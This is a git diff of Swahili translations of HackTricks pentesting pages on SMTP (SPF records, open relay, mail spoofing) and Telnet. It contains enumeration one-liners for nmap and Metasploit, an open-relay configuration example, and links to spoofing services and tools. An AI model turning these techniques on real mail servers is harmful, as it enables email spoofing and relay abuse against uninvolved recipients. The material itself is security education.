**Ripoti za Arifa ya Hali ya Uwasilishaji**: Ikiwa unatumia **barua pepe** kwa shirika kwa **anwani isiyo sahihi**, shirika litakujulisha kwamba anwani hiyo ilikuwa isiyo sahihi kwa kutuma **barua tena kwako**. **Vichwa** vya barua pepe iliyorejeshwa vitakuwa na **habari nyeti** zinazoweza kuwepo (kama anwani ya IP ya huduma za barua pepe ambazo zilishirikiana na ripoti au habari za programu ya kupambana na virusi).
|
||||
**Ripoti za Hali ya Uwasilishaji**: Ikiwa unatumia **barua pepe** kwa shirika kwa **anwani isiyo sahihi**, shirika litakujulisha kwamba anwani hiyo ilikuwa isiyo sahihi kwa kutuma **barua kwako**. **Vichwa** vya barua pepe iliyorejeshwa vitakuwa na **habari nyeti** zinazoweza kuwepo (kama anwani ya IP ya huduma za barua pepe zilizoshirikiana na ripoti au habari za programu ya kupambana na virusi).
|
||||
|
||||
## [Amri](smtp-commands.md)
|
||||
|
||||
|
@ -250,50 +254,50 @@ Ushirikiano wa SMTP Smuggling uliruhusu kupita kupitia ulinzi wote wa SMTP (anga
|
|||
[smtp-smuggling.md](smtp-smuggling.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Mail Spoofing Countermeasures
|
||||
## Hatua za Kupambana na Mail Spoofing
|
||||
|
||||
Mashirika yanazuia kutumwa kwa barua pepe zisizoidhinishwa kwa niaba yao kwa kutumia **SPF**, **DKIM**, na **DMARC** kutokana na urahisi wa kudanganya ujumbe wa SMTP.
|
||||
|
||||
**mwongozo kamili wa hatua hizi za kupambana** unapatikana kwenye [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).
|
||||
**mwongozo kamili wa hatua hizi** unapatikana kwenye [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).
|
||||
|
||||
### SPF
|
||||
|
||||
{% hint style="danger" %}
|
||||
SPF [ilikuwa "imeondolewa" mwaka 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Hii inamaanisha kwamba badala ya kuunda **rekodi ya TXT** katika `_spf.domain.com` unaiunda katika `domain.com` ukitumia **sintaksia sawa**.\
|
||||
Zaidi ya hayo, ili kutumia tena rekodi za awali za spf ni kawaida kukutana na kitu kama `"v=spf1 include:_spf.google.com ~all"`
|
||||
Zaidi ya hayo, ili kutumia tena rekodi za awali za spf ni kawaida kupata kitu kama `"v=spf1 include:_spf.google.com ~all"`
|
||||
{% endhint %}
|
||||
|
||||
**Sender Policy Framework** (SPF) ni mekanizma inayowezesha Wakala wa Uhamishaji Barua (MTAs) kuthibitisha ikiwa mwenyeji anayesambaza barua pepe ameidhinishwa kwa kuuliza orodha ya seva za barua zilizoidhinishwa zilizofafanuliwa na mashirika. Orodha hii, ambayo inaelezea anwani za IP/mipango, majina ya domain, na vitu vingine **vilivyoidhinishwa kutuma barua pepe kwa niaba ya jina la domain**, inajumuisha "Mekanizma" mbalimbali katika rekodi ya SPF.
|
||||
**Muundo wa Sera ya Mtumaji** (SPF) ni mekanizma inayowezesha Wakala wa Usafirishaji wa Barua (MTAs) kuthibitisha ikiwa mwenyeji anayesambaza barua pepe ameidhinishwa kwa kuuliza orodha ya seva za barua zilizoidhinishwa zilizofafanuliwa na mashirika. Orodha hii, ambayo inaelezea anwani za IP/mipango, majina ya domain, na vitu vingine **vilivyoidhinishwa kutuma barua pepe kwa niaba ya jina la domain**, inajumuisha "**Mekanizma**" mbalimbali katika rekodi ya SPF.
|
||||
|
||||
#### Mechanisms
|
||||
#### Mekanizma
|
||||
|
||||
Kutoka [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):
|
||||
|
||||
| Mechanism | Maelezo |
|
||||
| Mekanizma | Maelezo |
|
||||
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| ALL | Inalingana kila wakati; inatumika kwa matokeo ya chaguo la default kama `-all` kwa IP zote ambazo hazijalingana na mekanizma za awali. |
|
||||
| A | Ikiwa jina la domain lina rekodi ya anwani (A au AAAA) ambayo inaweza kutatuliwa kwa anwani ya mtumaji, italingana. |
|
||||
| A | Ikiwa jina la domain lina rekodi ya anwani (A au AAAA) ambayo inaweza kutatuliwa hadi anwani ya mtumaji, italingana. |
|
||||
| IP4 | Ikiwa mtumaji yuko katika eneo fulani la anwani za IPv4, lingana. |
|
||||
| IP6 | Ikiwa mtumaji yuko katika eneo fulani la anwani za IPv6, lingana. |
|
||||
| MX | Ikiwa jina la domain lina rekodi ya MX inayotatua kwa anwani ya mtumaji, italingana (yaani, barua inatoka kwenye moja ya seva za barua za kuingia za domain hiyo). |
|
||||
| PTR | Ikiwa jina la domain (rekodi ya PTR) kwa anwani ya mteja liko katika jina la domain lililotolewa na jina hilo linatatuliwa kwa anwani ya mteja (DNS ya nyuma iliyothibitishwa), lingana. Mekanizma hii inashauriwa kuepukwa, ikiwa inawezekana. |
|
||||
| EXISTS | Ikiwa jina la domain lililotolewa linatatuliwa kwa anwani yoyote, lingana (bila kujali anwani inayoelekea). Hii haitumiki mara nyingi. Pamoja na lugha ya macro ya SPF inatoa mechi ngumu zaidi kama DNSBL-queries. |
|
||||
| MX | Ikiwa jina la domain lina rekodi ya MX inayotatuliwa hadi anwani ya mtumaji, italingana (yaani, barua inatoka kwenye moja ya seva za barua za kuingia za domain hiyo). |
|
||||
| PTR | Ikiwa jina la domain (rekodi ya PTR) kwa anwani ya mteja iko katika jina la domain lililotolewa na jina hilo linatatuliwa hadi anwani ya mteja (DNS ya nyuma iliyothibitishwa), lingana. Mekanizma hii inashauriwa kuepukwa, ikiwa inawezekana. |
|
||||
| EXISTS | Ikiwa jina la domain lililotolewa linatatuliwa hadi anwani yoyote, lingana (bila kujali anwani inayoelekea). Hii haitumiki mara nyingi. Pamoja na lugha ya macro ya SPF inatoa mechi ngumu zaidi kama maswali ya DNSBL. |
|
||||
| INCLUDE | Inarejelea sera ya jina la domain lingine. Ikiwa sera ya jina hilo inapita, mekanizma hii inapita. Hata hivyo, ikiwa sera iliyojumuishwa inashindwa, usindikaji unaendelea. Ili kuhamasisha kabisa kwa sera ya jina la domain lingine, kiambatisho cha kuhamasisha kinapaswa kutumika. |
|
||||
| REDIRECT | <p>Kupeleka ni kiashiria kwa jina la domain lingine ambalo lina sera ya SPF, inaruhusu majina mengi ya domain kushiriki sera hiyo hiyo ya SPF. Ni muhimu wakati wa kufanya kazi na idadi kubwa ya majina ya domain yanayoshiriki miundombinu sawa ya barua pepe.</p><p>Sera ya SPF ya jina la domain lililoonyeshwa katika Mekanizma ya kupeleka itatumika.</p> |
|
||||
| REDIRECT | <p>Kuhamasisha ni kiashiria cha jina la domain lingine ambalo lina sera ya SPF, inaruhusu majina mengi ya domain kushiriki sera hiyo hiyo ya SPF. Ni muhimu wakati wa kufanya kazi na idadi kubwa ya majina ya domain yanayoshiriki miundombinu sawa ya barua pepe.</p><p>Sera ya SPF ya jina la domain lililoonyeshwa katika Mekanizma ya kuhamasisha itatumika.</p> |
|
||||
|
||||
Pia inawezekana kubaini **Qualifiers** ambazo zinaonyesha **kitu kinachopaswa kufanywa ikiwa mekanizma italingana**. Kwa default, **qualifier "+"** inatumika (hivyo ikiwa mekanizma yoyote inalingana, hiyo inamaanisha inaruhusiwa).\
|
||||
Kwa kawaida utaona **mwishoni mwa sera ya kila SPF** kitu kama: **\~all** au **-all**. Hii inatumika kuonyesha kwamba **ikiwa mtumaji hailingani na sera yoyote ya SPF, unapaswa kuweka alama barua pepe hiyo kama isiyoaminika (\~) au kukataa (-) barua pepe hiyo.**
|
||||
Pia inawezekana kubaini **Wakadiriaji** ambao huonyesha **kitu kinachopaswa kufanywa ikiwa mekanizma imefanikiwa**. Kwa kawaida, **wakadiriaji "+"** hutumika (hivyo ikiwa mekanizma yoyote imefanikiwa, hiyo inamaanisha inaruhusiwa).\
|
||||
Kwa kawaida utaona **mwishoni mwa kila sera ya SPF** kitu kama: **\~all** au **-all**. Hii inatumika kuonyesha kwamba **ikiwa mtumaji hailingani na sera yoyote ya SPF, unapaswa kuweka alama barua pepe hiyo kama isiyoaminika (\~) au kukataa (-) barua pepe hiyo.**
|
||||
|
||||
#### Qualifiers
|
||||
#### Wakadiriaji
|
||||
|
||||
Kila mekanizma ndani ya sera inaweza kuanzishwa na moja ya qualifiers nne ili kufafanua matokeo yaliyokusudiwa:
|
||||
Kila mekanizma ndani ya sera inaweza kuanzishwa na mmoja wa wakadiriaji wanne ili kufafanua matokeo yanayokusudiwa:
|
||||
|
||||
* **`+`**: Inalingana na matokeo ya PASS. Kwa default, mekanizma zinachukulia qualifier hii, na kufanya `+mx` kuwa sawa na `mx`.
|
||||
* **`+`**: Inalingana na matokeo ya PASS. Kwa kawaida, mekanizma zinachukulia wakadiriaji huu, na kufanya `+mx` kuwa sawa na `mx`.
|
||||
* **`?`**: Inawakilisha matokeo ya NEUTRAL, inachukuliwa sawa na NONE (sera maalum).
|
||||
* **`~`**: Inamaanisha SOFTFAIL, ikihudumu kama eneo la kati kati ya NEUTRAL na FAIL. Barua pepe zinazokutana na matokeo haya kwa kawaida zinakubaliwa lakini zimewekwa alama ipasavyo.
|
||||
* **`-`**: Inaonyesha FAIL, ikipendekeza kwamba barua pepe inapaswa kukataliwa moja kwa moja.
|
||||
* **`~`**: Inamaanisha SOFTFAIL, ikihudumu kama eneo la kati kati ya NEUTRAL na FAIL. Barua pepe zinazokutana na matokeo haya kwa kawaida zinakubaliwa lakini zinawekwa alama ipasavyo.
|
||||
* **`-`**: Inamaanisha FAIL, ikipendekeza kwamba barua pepe inapaswa kukataliwa moja kwa moja.
|
||||
|
||||
Katika mfano ujao, **sera ya SPF ya google.com** inaonyeshwa. Kumbuka kujumuishwa kwa sera za SPF kutoka majina tofauti ya domain ndani ya sera ya kwanza ya SPF:
|
||||
Katika mfano ujao, **sera ya SPF ya google.com** inaonyeshwa. Kumbuka kujumlishwa kwa sera za SPF kutoka majina tofauti ya domain ndani ya sera ya kwanza ya SPF:
|
||||
```shell-session
|
||||
dig txt google.com | grep spf
|
||||
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
|
||||
|
@ -312,7 +316,7 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36
|
|||
dig txt _netblocks3.google.com | grep spf
|
||||
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
|
||||
```
|
||||
Traditionally it was possible to spoof any domain name that didn't have a correct/any SPF record. **Siku hizi**, if **email** comes from a **domain without a valid SPF record** is probably going to be **rejected/marked as untrusted automatically**.
|
||||
Traditionally it was possible to spoof any domain name that didn't have a correct/any SPF record. **Sasa**, if **email** comes from a **domain without a valid SPF record** is probably going to be **rejected/marked as untrusted automatically**.
|
||||
|
||||
To check the SPF of a domain you can use online tools like: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
|
||||
|
||||
|
@ -373,13 +377,13 @@ Ifuatayo ilichapishwa awali kwenye openspf.org, ambayo ilikuwa rasilimali nzuri
|
|||
>
|
||||
> Tovuti zenye rekodi za A au MX za wildcard pia zinapaswa kuwa na rekodi ya SPF ya wildcard, ya aina: \* IN TXT "v=spf1 -all"
|
||||
|
||||
Hii ina maana - subdomain inaweza kuwa katika eneo tofauti la kijiografia na kuwa na ufafanuzi wa SPF tofauti sana.
|
||||
Hii ina maana - subdomain inaweza kuwa katika eneo tofauti kijiografia na kuwa na ufafanuzi wa SPF tofauti sana.
|
||||
|
||||
### **Open Relay**
|
||||
|
||||
Wakati barua pepe zinatumwa, kuhakikisha hazitapewa alama kama spam ni muhimu. Hii mara nyingi inafanikiwa kupitia matumizi ya **seva ya relay ambayo inatambulika na mpokeaji**. Hata hivyo, changamoto ya kawaida ni kwamba wasimamizi huenda hawajui kikamilifu ni **mifumo ya IP ipi ni salama kuruhusu**. Ukosefu huu wa uelewa unaweza kusababisha makosa katika kuanzisha seva ya SMTP, hatari ambayo mara nyingi inatambuliwa katika tathmini za usalama.
|
||||
Wakati barua pepe zinatumwa, kuhakikisha hazitapewa alama kama spam ni muhimu. Hii mara nyingi inafanikiwa kupitia matumizi ya **seva ya relay ambayo inatambulika na mpokeaji**. Hata hivyo, changamoto ya kawaida ni kwamba wasimamizi wanaweza kuwa hawajui kikamilifu ni **mifumo ya IP ipi salama kuruhusu**. Ukosefu huu wa uelewa unaweza kusababisha makosa katika kuanzisha seva ya SMTP, hatari ambayo mara nyingi inatambuliwa katika tathmini za usalama.
|
||||
|
||||
Njia mbadala ambayo wasimamizi wengine hutumia ili kuepuka matatizo ya usambazaji wa barua pepe, hasa kuhusu mawasiliano na wateja wanaowezekana au wanaoendelea, ni **kuruhusu muunganisho kutoka anwani yoyote ya IP**. Hii inafanywa kwa kuunda parameter ya `mynetworks` ya seva ya SMTP kukubali anwani zote za IP, kama inavyoonyeshwa hapa chini:
|
||||
Njia mbadala ambayo wasimamizi wengine hutumia ili kuepuka matatizo ya usambazaji wa barua pepe, hasa kuhusu mawasiliano na wateja wanaoweza kuwa au wanaoendelea, ni **kuruhusu muunganisho kutoka anwani yoyote ya IP**. Hii inafanywa kwa kuunda parameter ya `mynetworks` ya seva ya SMTP kukubali anwani zote za IP, kama inavyoonyeshwa hapa chini:
|
||||
```bash
|
||||
mynetworks = 0.0.0.0/0
|
||||
```
|
||||
|
@ -398,7 +402,7 @@ nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
|||
* [**http://www.anonymailer.net/**](http://www.anonymailer.net)
|
||||
* [**https://emkei.cz/**](https://emkei.cz/)
|
||||
|
||||
**Au unaweza kutumia chombo:**
|
||||
**Au unaweza kutumia kifaa:**
|
||||
|
||||
* [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing)
|
||||
```bash
|
||||
|
@ -520,7 +524,7 @@ s.sendmail(sender, [destination], msg_data)
|
|||
|
||||
### Postfix
|
||||
|
||||
Kawaida, ikiwa imewekwa, katika `/etc/postfix/master.cf` ina **scripts za kutekeleza** wakati kwa mfano barua mpya inapopokelewa na mtumiaji. Kwa mfano, mstari `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` unamaanisha kwamba `/etc/postfix/filtering` itatekelezwa ikiwa barua mpya inapokelewa na mtumiaji mark.
|
||||
Kawaida, ikiwa imewekwa, katika `/etc/postfix/master.cf` ina **scripts za kutekeleza** wakati kwa mfano barua mpya inapopokelewa na mtumiaji. Kwa mfano, mstari `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` unamaanisha kwamba `/etc/postfix/filtering` itatekelezwa ikiwa barua mpya inapopokelewa na mtumiaji mark.
|
||||
|
||||
Faili nyingine za config:
|
||||
```
|
||||
|
@ -585,13 +589,15 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mpangilio wa haraka wa tathmini ya udhaifu & upimaji wa penya**. Fanya upimaji kamili kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwenye utafiti hadi ripoti. Hatubadilishi wapimaji wa penya - tunakuza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti mapungufu muhimu, yanayoweza kutumiwa kwa faida na athari halisi za kibiashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuwezesha kupandisha mamlaka, na tumia matumizi ya moja kwa moja kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -599,7 +605,7 @@ Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt
|
|||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,14 +17,16 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mipangilio inayopatikana mara moja kwa ajili ya tathmini ya udhaifu & pentesting**. Fanya pentest kamili kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwa recon hadi ripoti. Hatubadilishi pentesters - tunatengeneza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti udhaifu muhimu, unaoweza kutumiwa kwa faida halisi ya biashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya kiotomatiki kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
**Amri kutoka:** [**https://serversmtp.com/smtp-commands/**](https://serversmtp.com/smtp-commands/)
|
||||
|
||||
**HELO**\
|
||||
Ni amri ya kwanza ya SMTP: inaanza mazungumzo ikitambulisha seva ya mtumaji na kwa kawaida inafuatiwa na jina la kikoa chake.
|
||||
Ni amri ya kwanza ya SMTP: inaanza mazungumzo ikitambulisha seva ya mtumaji na kwa ujumla inafuatiwa na jina la kikoa chake.
|
||||
|
||||
**EHLO**\
|
||||
Amri mbadala ya kuanza mazungumzo, ikionyesha kwamba seva inatumia itifaki ya Extended SMTP.
|
||||
|
@ -39,7 +41,7 @@ Inatambulisha mpokeaji wa barua pepe; ikiwa kuna zaidi ya mmoja, amri inarudiwa
|
|||
Amri hii ya SMTP inamjulisha seva ya mbali kuhusu ukubwa unaokadiriwa (kwa maneno ya bytes) wa barua pepe iliyoambatanishwa. Inaweza pia kutumika kuripoti ukubwa wa juu wa ujumbe utakaokubaliwa na seva.
|
||||
|
||||
**DATA**\
|
||||
Kwa amri ya DATA maudhui ya barua pepe yanaanza kuhamishwa; kwa kawaida inafuatiwa na msimbo wa jibu 354 unaotolewa na seva, ukitoa ruhusa ya kuanza uhamishaji halisi.
|
||||
Kwa amri ya DATA maudhui ya barua pepe yanaanza kuhamishwa; kwa ujumla inafuatiwa na msimbo wa jibu 354 unaotolewa na seva, ukitoa ruhusa ya kuanza uhamishaji halisi.
|
||||
|
||||
**VRFY**\
|
||||
Seva inaombwa kuthibitisha ikiwa anwani maalum ya barua pepe au jina la mtumiaji kwa kweli ipo.
|
||||
|
@ -51,7 +53,7 @@ Amri hii inatumika kubadilisha majukumu kati ya mteja na seva, bila haja ya kuan
|
|||
Kwa amri ya AUTH, mteja anajithibitisha kwa seva, akitoa jina lake la mtumiaji na nenosiri. Ni safu nyingine ya usalama kuhakikisha uhamishaji sahihi.
|
||||
|
||||
**RSET**\
|
||||
Inawasilisha kwa seva kwamba uhamishaji wa barua pepe unaoendelea utaisha, ingawa mazungumzo ya SMTP hayatafungwa (kama ilivyo katika kesi ya QUIT).
|
||||
Inawasilisha kwa seva kwamba uhamishaji wa barua pepe unaoendelea unakwenda kumalizika, ingawa mazungumzo ya SMTP hayatakamilika (kama ilivyo katika kesi ya QUIT).
|
||||
|
||||
**EXPN**\
|
||||
Amri hii ya SMTP inaomba uthibitisho kuhusu utambulisho wa orodha ya barua.
|
||||
|
@ -64,7 +66,9 @@ Inamaliza mazungumzo ya SMTP.
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mipangilio inayopatikana mara moja kwa ajili ya tathmini ya udhaifu & pentesting**. Fanya pentest kamili kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwa recon hadi ripoti. Hatubadilishi pentesters - tunatengeneza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti udhaifu muhimu, unaoweza kutumiwa kwa faida halisi ya biashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya kiotomatiki kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,13 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mchakato wa haraka wa kutathmini udhaifu & kupenya**. Fanya pentest kamili kutoka mahali popote na zana 20+ & vipengele vinavyotoka kwenye recon hadi ripoti. Hatubadilishi wapimaji wa udhaifu - tunatengeneza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
|
||||
**Pata na ripoti mapungufu makubwa, yanayoweza kutumiwa ambayo yana athari halisi za kibiashara.** Tumia zana zetu zaidi ya 20 za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuruhusu kupandisha mamlaka, na tumia matumizi ya kiotomatiki kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## **Taarifa za Msingi**
|
||||
## **Basic Information**
|
||||
|
||||
Telnet ni protokali ya mtandao inayowapa watumiaji njia isiyo salama ya kufikia kompyuta kupitia mtandao.
|
||||
Telnet ni itifaki ya mtandao inayowapa watumiaji njia isiyo salama ya kufikia kompyuta kupitia mtandao.
|
||||
|
||||
**Bandari ya kawaida:** 23
|
||||
```
|
||||
|
@ -35,13 +37,13 @@ Telnet ni protokali ya mtandao inayowapa watumiaji njia isiyo salama ya kufikia
|
|||
```bash
|
||||
nc -vn <IP> 23
|
||||
```
|
||||
Mchango wote wa kuvutia unaweza kufanywa na **nmap**:
|
||||
Yote ya kuhesabu ya kuvutia yanaweza kufanywa na **nmap**:
|
||||
```bash
|
||||
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
|
||||
```
|
||||
The script `telnet-ntlm-info.nse` itapata taarifa za NTLM (matoleo ya Windows).
|
||||
|
||||
Kutoka kwenye [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): Katika Protokali ya TELNET kuna "**chaguzi**" mbalimbali ambazo zitaidhinishwa na zinaweza kutumika na muundo wa "**FANYA, USIFANYE, ITAFANYIKA, HAITAFANYIKA**" ili kuruhusu mtumiaji na seva kukubaliana kutumia seti ya makubaliano ya kina (au labda tofauti tu) kwa ajili ya muunganisho wao wa TELNET. Chaguzi kama hizo zinaweza kujumuisha kubadilisha seti ya wahusika, hali ya echo, n.k.
|
||||
Kutoka kwenye [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): Katika Protokali ya TELNET kuna "**chaguzi**" mbalimbali ambazo zitaidhinishwa na zinaweza kutumika na muundo wa "**FANYA, USIFANYE, ITA, HAITA**" ili kuruhusu mtumiaji na seva kukubaliana kutumia seti ya makubaliano ya kina (au labda tofauti tu) kwa ajili ya muunganisho wao wa TELNET. Chaguzi hizo zinaweza kujumuisha kubadilisha seti ya wahusika, hali ya echo, n.k.
|
||||
|
||||
**Ninajua inawezekana kuhesabu chaguzi hizi lakini sijui jinsi, hivyo nijulishe kama unajua jinsi.**
|
||||
|
||||
|
@ -87,13 +89,15 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Mchakato wa haraka wa kutathmini udhaifu & upimaji wa penya**. Fanya upimaji kamili kutoka mahali popote kwa zana 20+ na vipengele vinavyotoka kwenye utafiti hadi ripoti. Hatubadilishi wapimaji wa udhaifu - tunatengeneza zana maalum, moduli za kugundua na kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
|
||||
#### Pata mtazamo wa hacker kuhusu programu zako za wavuti, mtandao, na wingu
|
||||
|
||||
**Pata na ripoti mapungufu muhimu, yanayoweza kutumiwa kwa faida na athari halisi za kibiashara.** Tumia zana zetu 20+ za kawaida kupanga uso wa shambulio, pata masuala ya usalama yanayokuwezesha kupandisha hadhi, na tumia mashambulizi ya kiotomatiki kukusanya ushahidi muhimu, ukigeuza kazi yako ngumu kuwa ripoti za kushawishi.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -101,7 +105,7 @@ Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt
|
|||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
